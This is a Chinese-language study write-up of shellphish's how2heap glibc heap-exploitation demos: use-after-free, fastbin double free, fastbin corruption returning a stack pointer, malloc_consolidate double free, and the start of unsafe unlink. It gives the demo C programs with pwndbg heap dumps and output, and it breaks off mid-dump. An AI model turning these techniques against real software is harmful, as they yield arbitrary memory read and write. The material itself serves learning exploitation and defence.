通过 how2heap 复习堆利用
how2heap这是由 shellphish 团队创建的一个仓库,是用来学习堆利用技术广为周知的地方。 且主要针对 glibc
Source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}
我们从调试上入手,首先简单对 main 函数下断点。b main
。
程序首先创建了两个 chunk,size分别为 512 和256。然后向chunk a 分别写入字符串 'this is A' 。
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x2141,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x2141
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is A!"
0x60201b: ""
0x60201c: ""
0x60201d: ""
0x60201e:
这个时候我们把 chunk A free掉。由于chunk A 大小为 512 不适于 fastbins 系统会将这个chunk 放入unsortedbin。
基本来源:
基本使用情况
当程序再一次 malloc 一个大小与我们 free 掉的chunk 大小差不多的 chunk ,系统会优先从 bins 里找到一个合适的 chunk 把他取出来再使用。写入'this is C'
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x7ffff7002143,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is C!"
0x60201b: "\367\377\177"
0x60201f: ""
0x602020: ""
0x602021: ""
Pwndbg>
Unsortedbin 也被取出。
我们发现在原来 chunk A 的位置 也是chunk C 的位置。为什么用“也”呢?因为如果去打印 chunk A 的指针我们也会打印出 “This is C” 的字符串。
Pwndbg> p &a
$3 = (char **) 0x7fffffffe408
Pwndbg> x/20a 0x7fffffffe408
0x7fffffffe408: 0x602010 0x602220
0x7fffffffe418: 0x602010 0x4008e0 <__libc_csu_init>
0x7fffffffe428: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe438: 0x7fffffffe508 0x1f7b9a488
0x7fffffffe448: 0x400616 <main> 0x0
0x7fffffffe458: 0x873c9590c5edf93b 0x400520 <_start>
0x7fffffffe468: 0x7fffffffe500 0x0
0x7fffffffe478: 0x0 0x78c36aef1c4df93b
0x7fffffffe488: 0x78c37a56d37ff93b 0x0
0x7fffffffe498: 0x0 0x0
Pwndbg> x/20a 0x602010
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
Pwndbg> p a
$4 = 0x602010 "this is C!"
Pwndbg>
从这我们就会发现 我们去打印 a的内容,a的内容也是‘this is C’。这个就是一个很明显的 use-after-free 漏洞。
uaf 造成原因:
指针free 掉后并没有置0
Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist.
fastbin 机制下的 double free。
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}
在这之前,我们先看一个程序。
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
我们把21 行的注释去掉。编译程序并运行。
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xb74010
2nd malloc(8): 0xb74030
3rd malloc(8): 0xb74050
Freeing the first one...
If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list.
*** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb]
/lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c]
./fastbin_dup_double_free[0x400740]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1]
./fastbin_dup_double_free[0x40054a]
======= Memory map: ========
当我们运行程序后,程序发生了明显的报错,这是一个典型的 double free 。意味通常而言,一个已经 free 掉的 chunk 是不能被 free 第二次的。然后我们把原本的注释加上。
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
然后重新编译。gcc -g -no-pie fastbin_dup.c -o fastbin_dup
并上调试器。
首先程序 malloc 了三个 chunk 。
Pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0x0,
size = 0x20fa1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后 free(a)
15 fprintf(stderr, "3rd malloc(8): %p\n", c);
16
17 fprintf(stderr, "Freeing the first one...\n");
► 18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
free(b)
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
► 26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
27 free(a);
这个时候,fastbin 形成一个 fastbin freelist
Pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
chunk A ---> chunk B
然后我们再把 a free 一次
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
► 27 free(a);
28
29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
我们发现这次并没有发生报错。形成了如下的 free list。
Pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
————— ————— —————
|Chunk A| -> |chunk B| -->| chunk A|
————— ————— —————
/\ |
| ------------- -------
大概如上个图,这样我们就成功绕过了 fastbins 的double free检查。原因如下:
fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
通用的,编译后我们 gdb 挂载程序。
程序通用 malloc 了三个 chunk,紧接着通过 fastbin double free 的操作形成了如下freelist。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
然后呢 我再malloc chunk d
36 unsigned long long *d = malloc(8);
37
38 fprintf(stderr, "1st malloc(8): %p\n", d);
39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
40 fprintf(stderr, "Now the free list has [ %p ].\n", a);
► 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
43 "so that malloc will think there is a free chunk there and agree to\n"
44 "return a pointer to it.\n", a);
45 stack_var = 0x20;
这个时候 程序会从 fastbins 里取一个,由于fastbins 是 LIFO (Last in First out)。 chunk A 会被取出使用。倘若我们这个时候能对 chunk D 进行操作,如 d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
由于 stack_var = 0x20;
这样的定义是在函数内,所以stack_var
的地址将在栈上,通过对指针 d 的操作,我们可以伪造一个 chunk ,并将这个 chunk 放在栈上。
Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')
stack_var = 0x20;
是由于伪造的 chunk 要由 设置size,size的位置位于 地址-0x8的地方。
➜ glibc_2.25 git:(master) ✗ ./fastbin_dup_into_stack
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8
最后效果如上,我们发现当 chunk a 被拿出来后,由于我们伪造了chunk a 的 fd,造成如下效果。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x7fffffffe388 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
这个时候形成如上的链表结构,这个时候当我们再 malloc 一块内存的时候,系统会误以为 是我们 fake 的chunk是free的。他会把这块 chunk 拿出来用。
Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0
0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。
我们上一条 0x02 介绍了一个 fast double free 的绕过机制,通过在free 同一个 chunk中的中间插入对另外一个chunk 的free。
free(p1);
free(p2);
free(p1);
这里 shellphish 向我们展示了 large bin 中 mallo_consolidata 机制 fast 对double free 的检查
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
同样的编译后 gdb 挂载运行。
首先是两个malloc
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后释放 p 1,讲他加入到 fastbins中
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> heap
当我们在中插入 malloc(0x400)
创建一个 large bins的时候。
large bins
chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定 大小范围的块。主要保存大小 1024 字节以上的块。
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000
我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size 和size字段都被修改了
Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们可以看看 large bin的分配
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0
这个时候,我们既有fastbins中的 chunk p1 也有small bins 的chunk p2。我们可以malloc两次,第一次从fastbins取出,第二次从small bins中取出。且这两块新 chunk 处于同一个位置。
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010
Exploiting free on a corrupted chunk to get arbitrary write.
利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。
首先我们创建两个chunk 分别为chunk_0 和chunk_1
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <- chunk 0
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <- chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
紧接着我们假设这个时候我们有堆溢出,可以对chunk 0 进行修改,我们伪造个chunk。由于有P->fd->bk != P || P->bk->fd != P)
这样的检查。我们可以利用全局指针 chunk0_ptr
构造 fake chunk 来绕过它:
我们伪造 fake chunk 的fd 为 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
我们伪造 fake chunk 的bk 为chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
这个时候
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x603020: 0x0000000000602058 0x0000000000602060 fd ,bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 <-- prev_size
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x00000000